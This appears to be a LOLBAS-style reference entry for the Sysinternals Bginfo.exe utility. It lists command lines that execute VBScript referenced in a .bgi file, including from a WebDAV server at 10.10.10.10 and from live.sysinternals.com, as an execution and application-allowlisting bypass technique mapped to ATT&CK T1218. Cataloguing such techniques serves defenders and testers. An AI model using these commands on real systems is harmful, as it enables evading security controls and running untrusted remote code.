.. /Bginfo.exe
Star

Execute (WSH, Remote)
AWL bypass (WSH, Remote)

Background Information Utility included with SysInternals Suite

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Execute VBscript code that is referenced within the specified .bgi file.

    bginfo.exe {PATH:.bgi} /popup /nolicprompt
    Use case
    Local execution of VBScript
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1218
    Tags
    Execute: WSH

  2. Execute bginfo.exe from a WebDAV server.

    \\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt
    Use case
    Remote execution of VBScript
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1218
    Tags
    Execute: WSH

  3. This style of execution may not longer work due to patch.

    \\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt
    Use case
    Remote execution of VBScript
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1218
    Tags
    Execute: WSH
    Execute: Remote

AWL bypass

  1. Execute VBscript code that is referenced within the specified .bgi file.

    bginfo.exe {PATH:.bgi} /popup /nolicprompt
    Use case
    Local execution of VBScript
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1218
    Tags
    Execute: WSH

  2. Execute bginfo.exe from a WebDAV server.

    \\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt
    Use case
    Remote execution of VBScript
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1218
    Tags
    Execute: WSH

  3. This style of execution may not longer work due to patch.

    \\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt
    Use case
    Remote execution of VBScript
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1218
    Tags
    Execute: WSH
    Execute: Remote